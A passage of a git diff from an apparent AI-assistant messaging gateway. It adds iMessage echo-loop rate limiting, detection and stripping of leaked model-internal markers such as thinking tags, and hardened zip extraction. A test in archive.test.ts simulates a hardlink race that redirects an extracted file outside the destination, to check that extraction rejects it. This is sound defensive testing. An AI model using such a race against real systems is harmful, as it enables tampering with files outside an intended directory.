+ const limiter = createLoopRateLimiter({ windowMs: 5_000, maxHits: 2 }); + limiter.record("conv:1"); + limiter.record("conv:1"); + expect(limiter.isRateLimited("conv:1")).toBe(true); + + vi.advanceTimersByTime(6_000); + expect(limiter.isRateLimited("conv:1")).toBe(false); + }); + + it("returns false for unknown conversations", () => { + const limiter = createLoopRateLimiter(); + expect(limiter.isRateLimited("unknown")).toBe(false); + }); +}); diff --git a/src/imessage/monitor/loop-rate-limiter.ts b/src/imessage/monitor/loop-rate-limiter.ts new file mode 100644 index 00000000000..56c234a1b14 --- /dev/null +++ b/src/imessage/monitor/loop-rate-limiter.ts @@ -0,0 +1,69 @@ +/** + * Per-conversation rate limiter that detects rapid-fire identical echo + * patterns and suppresses them before they amplify into queue overflow. + */ + +const DEFAULT_WINDOW_MS = 60_000; +const DEFAULT_MAX_HITS = 5; +const CLEANUP_INTERVAL_MS = 120_000; + +type ConversationWindow = { + timestamps: number[]; +}; + +export type LoopRateLimiter = { + /** Returns true if this conversation has exceeded the rate limit. */ + isRateLimited: (conversationKey: string) => boolean; + /** Record an inbound message for a conversation. */ + record: (conversationKey: string) => void; +}; + +export function createLoopRateLimiter(opts?: { + windowMs?: number; + maxHits?: number; +}): LoopRateLimiter { + const windowMs = opts?.windowMs ?? DEFAULT_WINDOW_MS; + const maxHits = opts?.maxHits ?? DEFAULT_MAX_HITS; + const conversations = new Map(); + let lastCleanup = Date.now(); + + function cleanup() { + const now = Date.now(); + if (now - lastCleanup < CLEANUP_INTERVAL_MS) { + return; + } + lastCleanup = now; + for (const [key, win] of conversations.entries()) { + const recent = win.timestamps.filter((ts) => now - ts <= windowMs); + if (recent.length === 0) { + conversations.delete(key); + } else { + win.timestamps = recent; + } + } + } + + return { + record(conversationKey: string) { + cleanup(); + let win = conversations.get(conversationKey); + if (!win) { + win = { timestamps: [] }; + conversations.set(conversationKey, win); + } + win.timestamps.push(Date.now()); + }, + + isRateLimited(conversationKey: string): boolean { + cleanup(); + const win = conversations.get(conversationKey); + if (!win) { + return false; + } + const now = Date.now(); + const recent = win.timestamps.filter((ts) => now - ts <= windowMs); + win.timestamps = recent; + return recent.length >= maxHits; + }, + }; +} diff --git a/src/imessage/monitor/monitor-provider.echo-cache.test.ts b/src/imessage/monitor/monitor-provider.echo-cache.test.ts index e67667c0228..4adeed4aafa 100644 --- a/src/imessage/monitor/monitor-provider.echo-cache.test.ts +++ b/src/imessage/monitor/monitor-provider.echo-cache.test.ts @@ -35,7 +35,8 @@ describe("iMessage sent-message echo cache", () => { const cache = createSentMessageCache(); cache.remember("acct:imessage:+1555", { text: "hello", messageId: "m-1" }); - vi.advanceTimersByTime(6000); + // Text fallback stays short to avoid suppressing legitimate repeated user text. + vi.advanceTimersByTime(6_000); expect(cache.has("acct:imessage:+1555", { text: "hello" })).toBe(false); expect(cache.has("acct:imessage:+1555", { messageId: "m-1" })).toBe(true); diff --git a/src/imessage/monitor/monitor-provider.ts b/src/imessage/monitor/monitor-provider.ts index 2ca8d3015f1..ffc15a4df0a 100644 --- a/src/imessage/monitor/monitor-provider.ts +++ b/src/imessage/monitor/monitor-provider.ts @@ -50,6 +50,7 @@ import { buildIMessageInboundContext, resolveIMessageInboundDecision, } from "./inbound-processing.js"; +import { createLoopRateLimiter } from "./loop-rate-limiter.js"; import { parseIMessageNotification } from "./parse-notification.js"; import { normalizeAllowList, resolveRuntime } from "./runtime.js"; import type { IMessagePayload, MonitorIMessageOpts } from "./types.js"; @@ -98,6 +99,7 @@ export async function monitorIMessageProvider(opts: MonitorIMessageOpts = {}): P ); const groupHistories = new Map(); const sentMessageCache = createSentMessageCache(); + const loopRateLimiter = createLoopRateLimiter(); const textLimit = resolveTextChunkLimit(cfg, "imessage", accountInfo.accountId); const allowFrom = normalizeAllowList(opts.allowFrom ?? imessageCfg.allowFrom); const groupAllowFrom = normalizeAllowList( @@ -253,11 +255,34 @@ export async function monitorIMessageProvider(opts: MonitorIMessageOpts = {}): P logVerbose, }); + // Build conversation key for rate limiting (used by both drop and dispatch paths). + const chatId = message.chat_id ?? undefined; + const senderForKey = (message.sender ?? "").trim(); + const conversationKey = chatId != null ? `group:${chatId}` : `dm:${senderForKey}`; + const rateLimitKey = `${accountInfo.accountId}:${conversationKey}`; + if (decision.kind === "drop") { + // Record echo/reflection drops so the rate limiter can detect sustained loops. + // Only loop-related drop reasons feed the counter; policy/mention/empty drops + // are normal and should not escalate. + const isLoopDrop = + decision.reason === "echo" || + decision.reason === "reflected assistant content" || + decision.reason === "from me"; + if (isLoopDrop) { + loopRateLimiter.record(rateLimitKey); + } + return; + } + + // After repeated echo/reflection drops for a conversation, suppress all + // remaining messages as a safety net against amplification that slips + // through the primary guards. + if (decision.kind === "dispatch" && loopRateLimiter.isRateLimited(rateLimitKey)) { + logVerbose(`imessage: rate-limited conversation ${conversationKey} (echo loop detected)`); return; } - const chatId = message.chat_id ?? undefined; if (decision.kind === "pairing") { const sender = (message.sender ?? "").trim(); if (!sender) { diff --git a/src/imessage/monitor/reflection-guard.test.ts b/src/imessage/monitor/reflection-guard.test.ts new file mode 100644 index 00000000000..d7156b93da5 --- /dev/null +++ b/src/imessage/monitor/reflection-guard.test.ts @@ -0,0 +1,107 @@ +import { describe, expect, it } from "vitest"; +import { detectReflectedContent } from "./reflection-guard.js"; + +describe("detectReflectedContent", () => { + it("returns false for empty text", () => { + expect(detectReflectedContent("").isReflection).toBe(false); + }); + + it("returns false for normal user text", () => { + const result = detectReflectedContent("Hey, what's the weather today?"); + expect(result.isReflection).toBe(false); + expect(result.matchedLabels).toEqual([]); + }); + + it("detects +#+#+#+# separator pattern", () => { + const result = detectReflectedContent("NO_REPLY +#+#+#+#+#+assistant to=final"); + expect(result.isReflection).toBe(true); + expect(result.matchedLabels).toContain("internal-separator"); + }); + + it("detects assistant to=final marker", () => { + const result = detectReflectedContent("some text assistant to=final rest"); + expect(result.isReflection).toBe(true); + expect(result.matchedLabels).toContain("assistant-role-marker"); + }); + + it("detects tags", () => { + const result = detectReflectedContent("internal reasoning"); + expect(result.isReflection).toBe(true); + expect(result.matchedLabels).toContain("thinking-tag"); + }); + + it("detects tags", () => { + const result = detectReflectedContent("secret"); + expect(result.isReflection).toBe(true); + expect(result.matchedLabels).toContain("thinking-tag"); + }); + + it("detects tags", () => { + const result = detectReflectedContent("data"); + expect(result.isReflection).toBe(true); + expect(result.matchedLabels).toContain("relevant-memories-tag"); + }); + + it("detects tags", () => { + const result = detectReflectedContent("visible"); + expect(result.isReflection).toBe(true); + expect(result.matchedLabels).toContain("final-tag"); + }); + + it("returns multiple matched labels for combined markers", () => { + const text = "NO_REPLY +#+#+#+# step assistant to=final"; + const result = detectReflectedContent(text); + expect(result.isReflection).toBe(true); + expect(result.matchedLabels.length).toBeGreaterThanOrEqual(3); + }); + + it("ignores reflection markers inside inline code", () => { + const result = detectReflectedContent( + "Please keep `debug trace` in the example output", + ); + expect(result.isReflection).toBe(false); + expect(result.matchedLabels).toEqual([]); + }); + + it("ignores reflection markers inside fenced code blocks", () => { + const result = detectReflectedContent( + [ + "User pasted a repro snippet:", + "```xml", + "cached", + "assistant to=final", + "```", + ].join("\n"), + ); + expect(result.isReflection).toBe(false); + expect(result.matchedLabels).toEqual([]); + }); + + it("still flags markers that appear outside code blocks", () => { + const result = detectReflectedContent( + ["```xml", "inside code", "```", "", "assistant to=final"].join("\n"), + ); + expect(result.isReflection).toBe(true); + expect(result.matchedLabels).toContain("assistant-role-marker"); + }); + + it("does not flag normal code discussion about thinking", () => { + const result = detectReflectedContent("I was thinking about your question"); + expect(result.isReflection).toBe(false); + }); + + it("flags '' as reflection when it forms a complete tag", () => { + const result = detectReflectedContent("Here is my "); + expect(result.isReflection).toBe(true); + }); + + it("does not flag partial tag without closing bracket", () => { + const result = detectReflectedContent("I sent a ' phrase without closing bracket", () => { + const result = detectReflectedContent("This is a ` to avoid false-positives on phrases like "". +const THINKING_TAG_RE = /<\s*\/?\s*(?:think(?:ing)?|thought|antthinking)\b[^<>]*>/i; +const RELEVANT_MEMORIES_TAG_RE = /<\s*\/?\s*relevant[-_]memories\b[^<>]*>/i; +// Require closing `>` to avoid false-positives on phrases like "". +const FINAL_TAG_RE = /<\s*\/?\s*final\b[^<>]*>/i; + +const REFLECTION_PATTERNS: Array<{ re: RegExp; label: string }> = [ + { re: INTERNAL_SEPARATOR_RE, label: "internal-separator" }, + { re: ASSISTANT_ROLE_MARKER_RE, label: "assistant-role-marker" }, + { re: THINKING_TAG_RE, label: "thinking-tag" }, + { re: RELEVANT_MEMORIES_TAG_RE, label: "relevant-memories-tag" }, + { re: FINAL_TAG_RE, label: "final-tag" }, +]; + +export type ReflectionDetection = { + isReflection: boolean; + matchedLabels: string[]; +}; + +function hasMatchOutsideCode(text: string, re: RegExp): boolean { + const codeRegions = findCodeRegions(text); + const globalRe = new RegExp(re.source, re.flags.includes("g") ? re.flags : `${re.flags}g`); + + for (const match of text.matchAll(globalRe)) { + const start = match.index ?? -1; + if (start >= 0 && !isInsideCode(start, codeRegions)) { + return true; + } + } + + return false; +} + +/** + * Check whether an inbound message appears to be a reflection of + * assistant-originated content. Returns matched pattern labels for telemetry. + */ +export function detectReflectedContent(text: string): ReflectionDetection { + if (!text) { + return { isReflection: false, matchedLabels: [] }; + } + + const matchedLabels: string[] = []; + for (const { re, label } of REFLECTION_PATTERNS) { + if (hasMatchOutsideCode(text, re)) { + matchedLabels.push(label); + } + } + + return { + isReflection: matchedLabels.length > 0, + matchedLabels, + }; +} diff --git a/src/imessage/monitor/sanitize-outbound.test.ts b/src/imessage/monitor/sanitize-outbound.test.ts new file mode 100644 index 00000000000..ad70b558731 --- /dev/null +++ b/src/imessage/monitor/sanitize-outbound.test.ts @@ -0,0 +1,64 @@ +import { describe, expect, it } from "vitest"; +import { sanitizeOutboundText } from "./sanitize-outbound.js"; + +describe("sanitizeOutboundText", () => { + it("returns empty string unchanged", () => { + expect(sanitizeOutboundText("")).toBe(""); + }); + + it("preserves normal user-facing text", () => { + const text = "Hello! How can I help you today?"; + expect(sanitizeOutboundText(text)).toBe(text); + }); + + it("strips tags and content", () => { + const text = "internal reasoningThe answer is 42."; + expect(sanitizeOutboundText(text)).toBe("The answer is 42."); + }); + + it("strips tags and content", () => { + const text = "secretVisible reply"; + expect(sanitizeOutboundText(text)).toBe("Visible reply"); + }); + + it("strips tags", () => { + const text = "Hello world"; + expect(sanitizeOutboundText(text)).toBe("Hello world"); + }); + + it("strips tags and content", () => { + const text = "memory dataVisible"; + expect(sanitizeOutboundText(text)).toBe("Visible"); + }); + + it("strips +#+#+#+# separator patterns", () => { + const text = "NO_REPLY +#+#+#+#+#+ more internal stuff"; + expect(sanitizeOutboundText(text)).not.toContain("+#+#"); + }); + + it("strips assistant to=final markers", () => { + const text = "Some text assistant to=final more text"; + const result = sanitizeOutboundText(text); + expect(result).not.toMatch(/assistant\s+to\s*=\s*final/i); + }); + + it("strips trailing role turn markers", () => { + const text = "Hello\nassistant:\nuser:"; + const result = sanitizeOutboundText(text); + expect(result).not.toMatch(/^assistant:$/m); + }); + + it("collapses excessive blank lines after stripping", () => { + const text = "Hello\n\n\n\n\nWorld"; + expect(sanitizeOutboundText(text)).toBe("Hello\n\nWorld"); + }); + + it("handles combined internal markers in one message", () => { + const text = "step 1NO_REPLY +#+#+#+# assistant to=final\n\nActual reply"; + const result = sanitizeOutboundText(text); + expect(result).not.toContain(""); + expect(result).not.toContain("+#+#"); + expect(result).not.toMatch(/assistant to=final/i); + expect(result).toContain("Actual reply"); + }); +}); diff --git a/src/imessage/monitor/sanitize-outbound.ts b/src/imessage/monitor/sanitize-outbound.ts new file mode 100644 index 00000000000..9fe1664e1eb --- /dev/null +++ b/src/imessage/monitor/sanitize-outbound.ts @@ -0,0 +1,31 @@ +import { stripAssistantInternalScaffolding } from "../../shared/text/assistant-visible-text.js"; + +/** + * Patterns that indicate assistant-internal metadata leaked into text. + * These must never reach a user-facing channel. + */ +const INTERNAL_SEPARATOR_RE = /(?:#\+){2,}#?/g; +const ASSISTANT_ROLE_MARKER_RE = /\bassistant\s+to\s*=\s*\w+/gi; +const ROLE_TURN_MARKER_RE = /\b(?:user|system|assistant)\s*:\s*$/gm; + +/** + * Strip all assistant-internal scaffolding from outbound text before delivery. + * Applies reasoning/thinking tag removal, memory tag removal, and + * model-specific internal separator stripping. + */ +export function sanitizeOutboundText(text: string): string { + if (!text) { + return text; + } + + let cleaned = stripAssistantInternalScaffolding(text); + + cleaned = cleaned.replace(INTERNAL_SEPARATOR_RE, ""); + cleaned = cleaned.replace(ASSISTANT_ROLE_MARKER_RE, ""); + cleaned = cleaned.replace(ROLE_TURN_MARKER_RE, ""); + + // Collapse excessive blank lines left after stripping. + cleaned = cleaned.replace(/\n{3,}/g, "\n\n").trim(); + + return cleaned; +} diff --git a/src/imessage/target-parsing-helpers.ts b/src/imessage/target-parsing-helpers.ts index 2b64c145580..ba00590e6d5 100644 --- a/src/imessage/target-parsing-helpers.ts +++ b/src/imessage/target-parsing-helpers.ts @@ -1,3 +1,5 @@ +import { isAllowedParsedChatSender } from "../plugin-sdk/allow-from.js"; + export type ServicePrefix = { prefix: string; service: TService }; export type ChatTargetPrefixesParams = { @@ -13,10 +15,24 @@ export type ParsedChatTarget = | { kind: "chat_guid"; chatGuid: string } | { kind: "chat_identifier"; chatIdentifier: string }; +export type ParsedChatAllowTarget = ParsedChatTarget | { kind: "handle"; handle: string }; + +export type ChatSenderAllowParams = { + allowFrom: Array; + sender: string; + chatId?: number | null; + chatGuid?: string | null; + chatIdentifier?: string | null; +}; + function stripPrefix(value: string, prefix: string): string { return value.slice(prefix.length).trim(); } +function startsWithAnyPrefix(value: string, prefixes: readonly string[]): boolean { + return prefixes.some((prefix) => value.startsWith(prefix)); +} + export function resolveServicePrefixedTarget(params: { trimmed: string; lower: string; @@ -41,6 +57,31 @@ export function resolveServicePrefixedTarget(p return null; } +export function resolveServicePrefixedChatTarget(params: { + trimmed: string; + lower: string; + servicePrefixes: Array>; + chatIdPrefixes: string[]; + chatGuidPrefixes: string[]; + chatIdentifierPrefixes: string[]; + extraChatPrefixes?: string[]; + parseTarget: (remainder: string) => TTarget; +}): ({ kind: "handle"; to: string; service: TService } | TTarget) | null { + const chatPrefixes = [ + ...params.chatIdPrefixes, + ...params.chatGuidPrefixes, + ...params.chatIdentifierPrefixes, + ...(params.extraChatPrefixes ?? []), + ]; + return resolveServicePrefixedTarget({ + trimmed: params.trimmed, + lower: params.lower, + servicePrefixes: params.servicePrefixes, + isChatTarget: (remainderLower) => startsWithAnyPrefix(remainderLower, chatPrefixes), + parseTarget: params.parseTarget, + }); +} + export function parseChatTargetPrefixesOrThrow( params: ChatTargetPrefixesParams, ): ParsedChatTarget | null { @@ -97,6 +138,56 @@ export function resolveServicePrefixedAllowTarget(params: { return null; } +export function resolveServicePrefixedOrChatAllowTarget< + TAllowTarget extends ParsedChatAllowTarget, +>(params: { + trimmed: string; + lower: string; + servicePrefixes: Array<{ prefix: string }>; + parseAllowTarget: (remainder: string) => TAllowTarget; + chatIdPrefixes: string[]; + chatGuidPrefixes: string[]; + chatIdentifierPrefixes: string[]; +}): TAllowTarget | null { + const servicePrefixed = resolveServicePrefixedAllowTarget({ + trimmed: params.trimmed, + lower: params.lower, + servicePrefixes: params.servicePrefixes, + parseAllowTarget: params.parseAllowTarget, + }); + if (servicePrefixed) { + return servicePrefixed as TAllowTarget; + } + + const chatTarget = parseChatAllowTargetPrefixes({ + trimmed: params.trimmed, + lower: params.lower, + chatIdPrefixes: params.chatIdPrefixes, + chatGuidPrefixes: params.chatGuidPrefixes, + chatIdentifierPrefixes: params.chatIdentifierPrefixes, + }); + if (chatTarget) { + return chatTarget as TAllowTarget; + } + return null; +} + +export function createAllowedChatSenderMatcher(params: { + normalizeSender: (sender: string) => string; + parseAllowTarget: (entry: string) => TParsed; +}): (input: ChatSenderAllowParams) => boolean { + return (input) => + isAllowedParsedChatSender({ + allowFrom: input.allowFrom, + sender: input.sender, + chatId: input.chatId, + chatGuid: input.chatGuid, + chatIdentifier: input.chatIdentifier, + normalizeSender: params.normalizeSender, + parseAllowTarget: params.parseAllowTarget, + }); +} + export function parseChatAllowTargetPrefixes( params: ChatTargetPrefixesParams, ): ParsedChatTarget | null { diff --git a/src/imessage/targets.ts b/src/imessage/targets.ts index 75f159576ff..e709f1064e4 100644 --- a/src/imessage/targets.ts +++ b/src/imessage/targets.ts @@ -1,11 +1,11 @@ -import { isAllowedParsedChatSender } from "../plugin-sdk/allow-from.js"; import { normalizeE164 } from "../utils.js"; import { + createAllowedChatSenderMatcher, + type ChatSenderAllowParams, type ParsedChatTarget, - parseChatAllowTargetPrefixes, parseChatTargetPrefixesOrThrow, - resolveServicePrefixedAllowTarget, - resolveServicePrefixedTarget, + resolveServicePrefixedChatTarget, + resolveServicePrefixedOrChatAllowTarget, } from "./target-parsing-helpers.js"; export type IMessageService = "imessage" | "sms" | "auto"; @@ -80,14 +80,13 @@ export function parseIMessageTarget(raw: string): IMessageTarget { } const lower = trimmed.toLowerCase(); - const servicePrefixed = resolveServicePrefixedTarget({ + const servicePrefixed = resolveServicePrefixedChatTarget({ trimmed, lower, servicePrefixes: SERVICE_PREFIXES, - isChatTarget: (remainderLower) => - CHAT_ID_PREFIXES.some((p) => remainderLower.startsWith(p)) || - CHAT_GUID_PREFIXES.some((p) => remainderLower.startsWith(p)) || - CHAT_IDENTIFIER_PREFIXES.some((p) => remainderLower.startsWith(p)), + chatIdPrefixes: CHAT_ID_PREFIXES, + chatGuidPrefixes: CHAT_GUID_PREFIXES, + chatIdentifierPrefixes: CHAT_IDENTIFIER_PREFIXES, parseTarget: parseIMessageTarget, }); if (servicePrefixed) { @@ -115,46 +114,29 @@ export function parseIMessageAllowTarget(raw: string): IMessageAllowTarget { } const lower = trimmed.toLowerCase(); - const servicePrefixed = resolveServicePrefixedAllowTarget({ + const servicePrefixed = resolveServicePrefixedOrChatAllowTarget({ trimmed, lower, servicePrefixes: SERVICE_PREFIXES, parseAllowTarget: parseIMessageAllowTarget, + chatIdPrefixes: CHAT_ID_PREFIXES, + chatGuidPrefixes: CHAT_GUID_PREFIXES, + chatIdentifierPrefixes: CHAT_IDENTIFIER_PREFIXES, }); if (servicePrefixed) { return servicePrefixed; } - const chatTarget = parseChatAllowTargetPrefixes({ - trimmed, - lower, - chatIdPrefixes: CHAT_ID_PREFIXES, - chatGuidPrefixes: CHAT_GUID_PREFIXES, - chatIdentifierPrefixes: CHAT_IDENTIFIER_PREFIXES, - }); - if (chatTarget) { - return chatTarget; - } - return { kind: "handle", handle: normalizeIMessageHandle(trimmed) }; } -export function isAllowedIMessageSender(params: { - allowFrom: Array; - sender: string; - chatId?: number | null; - chatGuid?: string | null; - chatIdentifier?: string | null; -}): boolean { - return isAllowedParsedChatSender({ - allowFrom: params.allowFrom, - sender: params.sender, - chatId: params.chatId, - chatGuid: params.chatGuid, - chatIdentifier: params.chatIdentifier, - normalizeSender: normalizeIMessageHandle, - parseAllowTarget: parseIMessageAllowTarget, - }); +const isAllowedIMessageSenderMatcher = createAllowedChatSenderMatcher({ + normalizeSender: normalizeIMessageHandle, + parseAllowTarget: parseIMessageAllowTarget, +}); + +export function isAllowedIMessageSender(params: ChatSenderAllowParams): boolean { + return isAllowedIMessageSenderMatcher(params); } export function formatIMessageChatTarget(chatId?: number | null): string { diff --git a/src/infra/archive.test.ts b/src/infra/archive.test.ts index 3624710c233..175d68a48e3 100644 --- a/src/infra/archive.test.ts +++ b/src/infra/archive.test.ts @@ -3,7 +3,7 @@ import os from "node:os"; import path from "node:path"; import JSZip from "jszip"; import * as tar from "tar"; -import { afterAll, beforeAll, describe, expect, it } from "vitest"; +import { afterAll, beforeAll, describe, expect, it, vi } from "vitest"; import { withRealpathSymlinkRebindRace } from "../test-utils/symlink-rebind-race.js"; import type { ArchiveSecurityError } from "./archive.js"; import { extractArchive, resolveArchiveKind, resolvePackedRootDir } from "./archive.js"; @@ -180,6 +180,45 @@ describe("archive utils", () => { }); }); + it.runIf(process.platform !== "win32")( + "rejects zip extraction when a hardlink appears after atomic rename", + async () => { + await withArchiveCase("zip", async ({ workDir, archivePath, extractDir }) => { + const outsideDir = path.join(workDir, "outside"); + await fs.mkdir(outsideDir, { recursive: true }); + const outsideAlias = path.join(outsideDir, "payload.bin"); + const extractedPath = path.join(extractDir, "package", "payload.bin"); + + const zip = new JSZip(); + zip.file("package/payload.bin", "owned"); + await fs.writeFile(archivePath, await zip.generateAsync({ type: "nodebuffer" })); + + const realRename = fs.rename.bind(fs); + let linked = false; + const renameSpy = vi.spyOn(fs, "rename").mockImplementation(async (...args) => { + await realRename(...args); + if (!linked) { + linked = true; + await fs.link(String(args[1]), outsideAlias); + } + }); + + try { + await expect( + extractArchive({ archivePath, destDir: extractDir, timeoutMs: 5_000 }), + ).rejects.toMatchObject({ + code: "destination-symlink-traversal", + } satisfies Partial); + } finally { + renameSpy.mockRestore(); + } + + await expect(fs.readFile(outsideAlias, "utf8")).resolves.toBe("owned"); + await expect(fs.stat(extractedPath)).rejects.toMatchObject({ code: "ENOENT" }); + }); + }, + ); + it("rejects tar path traversal (zip slip)", async () => { await withArchiveCase("tar", async ({ workDir, archivePath, extractDir }) => { const insideDir = path.join(workDir, "inside"); diff --git a/src/infra/archive.ts b/src/infra/archive.ts index 3407d66c9a4..694560b4d31 100644 --- a/src/infra/archive.ts +++ b/src/infra/archive.ts @@ -1,3 +1,6 @@ +import { randomUUID } from "node:crypto"; +import { constants as fsConstants } from "node:fs"; +import type { Stats } from "node:fs"; import type { FileHandle } from "node:fs/promises"; import fs from "node:fs/promises"; import path from "node:path"; @@ -10,7 +13,8 @@ import { stripArchivePath, validateArchiveEntryPath, } from "./archive-path.js"; -import { openWritableFileWithinRoot, SafeOpenError } from "./fs-safe.js"; +import { sameFileIdentity } from "./file-identity.js"; +import { openFileWithinRoot, openWritableFileWithinRoot, SafeOpenError } from "./fs-safe.js"; import { isNotFoundPathError, isPathInside } from "./path-guards.js"; export type ArchiveKind = "tar" | "zip"; @@ -63,6 +67,12 @@ const ERROR_ARCHIVE_ENTRY_EXTRACTED_SIZE_EXCEEDS_LIMIT = "archive entry extracted size exceeds limit"; const ERROR_ARCHIVE_EXTRACTED_SIZE_EXCEEDS_LIMIT = "archive extracted size exceeds limit"; const ERROR_ARCHIVE_ENTRY_TRAVERSES_SYMLINK = "archive entry traverses symlink in destination"; +const SUPPORTS_NOFOLLOW = process.platform !== "win32" && "O_NOFOLLOW" in fsConstants; +const OPEN_WRITE_CREATE_FLAGS = + fsConstants.O_WRONLY | + fsConstants.O_CREAT | + fsConstants.O_EXCL | + (SUPPORTS_NOFOLLOW ? fsConstants.O_NOFOLLOW : 0); const TAR_SUFFIXES = [".tgz", ".tar.gz", ".tar"]; @@ -275,6 +285,7 @@ type OpenZipOutputFileResult = { handle: FileHandle; createdForWrite: boolean; openedRealPath: string; + openedStat: Stats; }; async function openZipOutputFile(params: { @@ -317,6 +328,33 @@ async function cleanupPartialRegularFile(filePath: string): Promise { } } +function buildArchiveAtomicTempPath(targetPath: string): string { + return path.join( + path.dirname(targetPath), + `.${path.basename(targetPath)}.${process.pid}.${randomUUID()}.tmp`, + ); +} + +async function verifyZipWriteResult(params: { + destinationRealDir: string; + relPath: string; + expectedStat: Stats; +}): Promise { + const opened = await openFileWithinRoot({ + rootDir: params.destinationRealDir, + relativePath: params.relPath, + rejectHardlinks: true, + }); + try { + if (!sameFileIdentity(opened.stat, params.expectedStat)) { + throw new SafeOpenError("path-mismatch", "path changed during zip extract"); + } + return opened.realPath; + } finally { + await opened.handle.close().catch(() => undefined); + } +} + type ZipEntry = { name: string; dir: boolean; @@ -403,36 +441,65 @@ async function writeZipFileEntry(params: { }); params.budget.startEntry(); const readable = await readZipEntryStream(params.entry); - const writable = opened.handle.createWriteStream(); + const destinationPath = opened.openedRealPath; + const targetMode = opened.openedStat.mode & 0o777; + await opened.handle.close().catch(() => undefined); + + let tempHandle: FileHandle | null = null; + let tempPath: string | null = null; + let tempStat: Stats | null = null; let handleClosedByStream = false; - writable.once("close", () => { - handleClosedByStream = true; - }); try { + tempPath = buildArchiveAtomicTempPath(destinationPath); + tempHandle = await fs.open(tempPath, OPEN_WRITE_CREATE_FLAGS, targetMode || 0o666); + const writable = tempHandle.createWriteStream(); + writable.once("close", () => { + handleClosedByStream = true; + }); + await pipeline( readable, createExtractBudgetTransform({ onChunkBytes: params.budget.addBytes }), writable, ); + tempStat = await fs.stat(tempPath); + if (!tempStat) { + throw new Error("zip temp write did not produce file metadata"); + } + if (!handleClosedByStream) { + await tempHandle.close().catch(() => undefined); + handleClosedByStream = true; + } + tempHandle = null; + await fs.rename(tempPath, destinationPath); + tempPath = null; + const verifiedPath = await verifyZipWriteResult({ + destinationRealDir: params.destinationRealDir, + relPath: params.relPath, + expectedStat: tempStat, + }); + + // Best-effort permission restore for zip entries created on unix. + if (typeof params.entry.unixPermissions === "number") { + const mode = params.entry.unixPermissions & 0o777; + if (mode !== 0) { + await fs.chmod(verifiedPath, mode).catch(() => undefined); + } + } } catch (err) { - if (opened.createdForWrite) { - await fs.rm(opened.openedRealPath, { force: true }).catch(() => undefined); + if (tempPath) { + await fs.rm(tempPath, { force: true }).catch(() => undefined); } else { - await cleanupPartialRegularFile(opened.openedRealPath).catch(() => undefined); + await cleanupPartialRegularFile(destinationPath).catch(() => undefined); + } + if (err instanceof SafeOpenError) { + throw symlinkTraversalError(params.entry.name); } throw err; } finally { - if (!handleClosedByStream) { - await opened.handle.close().catch(() => undefined); - } - } - - // Best-effort permission restore for zip entries created on unix. - if (typeof params.entry.unixPermissions === "number") { - const mode = params.entry.unixPermissions & 0o777; - if (mode !== 0) { - await fs.chmod(opened.openedRealPath, mode).catch(() => undefined); + if (tempHandle && !handleClosedByStream) { + await tempHandle.close().catch(() => undefined); } } } diff --git a/src/infra/boundary-path.ts b/src/infra/boundary-path.ts index 2a4eb45a858..11d42758926 100644 --- a/src/infra/boundary-path.ts +++ b/src/infra/boundary-path.ts @@ -540,12 +540,9 @@ async function resolveOutsideBoundaryPathAsync(params: { return null; } const kind = await getPathKind(params.context.absolutePath, false); - return buildOutsideLexicalBoundaryPath({ + return buildOutsideBoundaryPathFromContext({ boundaryLabel: params.boundaryLabel, - rootCanonicalPath: params.context.rootCanonicalPath, - absolutePath: params.context.absolutePath, - canonicalOutsideLexicalPath: params.context.canonicalOutsideLexicalPath, - rootPath: params.context.rootPath, + context: params.context, kind, }); } @@ -558,13 +555,25 @@ function resolveOutsideBoundaryPathSync(params: { return null; } const kind = getPathKindSync(params.context.absolutePath, false); + return buildOutsideBoundaryPathFromContext({ + boundaryLabel: params.boundaryLabel, + context: params.context, + kind, + }); +} + +function buildOutsideBoundaryPathFromContext(params: { + boundaryLabel: string; + context: BoundaryResolutionContext; + kind: { exists: boolean; kind: ResolvedBoundaryPathKind }; +}): ResolvedBoundaryPath { return buildOutsideLexicalBoundaryPath({ boundaryLabel: params.boundaryLabel, rootCanonicalPath: params.context.rootCanonicalPath, absolutePath: params.context.absolutePath, canonicalOutsideLexicalPath: params.context.canonicalOutsideLexicalPath, rootPath: params.context.rootPath, - kind, + kind: params.kind, }); } diff --git a/src/infra/channel-summary.test.ts b/src/infra/channel-summary.test.ts index d56bdd7ac1e..1a16bdc53b6 100644 --- a/src/infra/channel-summary.test.ts +++ b/src/infra/channel-summary.test.ts @@ -33,9 +33,9 @@ function makeSlackHttpSummaryPlugin(): ChannelPlugin { botToken: "xoxb-http", signingSecret: "", botTokenSource: "config", - signingSecretSource: "config", + signingSecretSource: "config", // pragma: allowlist secret botTokenStatus: "available", - signingSecretStatus: "configured_unavailable", + signingSecretStatus: "configured_unavailable", // pragma: allowlist secret } : { accountId: "primary", diff --git a/src/infra/channel-summary.ts b/src/infra/channel-summary.ts index f412d687fd1..08fd35d9327 100644 --- a/src/infra/channel-summary.ts +++ b/src/infra/channel-summary.ts @@ -69,7 +69,10 @@ const buildAccountDetails = (params: { if (snapshot.appTokenSource && snapshot.appTokenSource !== "none") { details.push(`app:${snapshot.appTokenSource}`); } - if (snapshot.signingSecretSource && snapshot.signingSecretSource !== "none") { + if ( + snapshot.signingSecretSource && + snapshot.signingSecretSource !== "none" /* pragma: allowlist secret */ + ) { details.push(`signing:${snapshot.signingSecretSource}`); } if (hasConfiguredUnavailableCredentialStatus(params.entry.account)) { diff --git a/src/infra/env-file.ts b/src/infra/env-file.ts deleted file mode 100644 index 525af40bbae..00000000000 --- a/src/infra/env-file.ts +++ /dev/null @@ -1,54 +0,0 @@ -import fs from "node:fs"; -import path from "node:path"; -import { escapeRegExp, resolveConfigDir } from "../utils.js"; - -export function upsertSharedEnvVar(params: { - key: string; - value: string; - env?: NodeJS.ProcessEnv; -}): { path: string; updated: boolean; created: boolean } { - const env = params.env ?? process.env; - const dir = resolveConfigDir(env); - const filepath = path.join(dir, ".env"); - const key = params.key.trim(); - const value = params.value; - - let raw = ""; - if (fs.existsSync(filepath)) { - raw = fs.readFileSync(filepath, "utf8"); - } - - const lines = raw.length ? raw.split(/\r?\n/) : []; - const matcher = new RegExp(`^(\\s*(?:export\\s+)?)${escapeRegExp(key)}\\s*=`); - let updated = false; - let replaced = false; - - const nextLines = lines.map((line) => { - const match = line.match(matcher); - if (!match) { - return line; - } - replaced = true; - const prefix = match[1] ?? ""; - const next = `${prefix}${key}=${value}`; - if (next !== line) { - updated = true; - } - return next; - }); - - if (!replaced) { - nextLines.push(`${key}=${value}`); - updated = true; - } - - if (!fs.existsSync(dir)) { - fs.mkdirSync(dir, { recursive: true, mode: 0o700 }); - } - - const output = 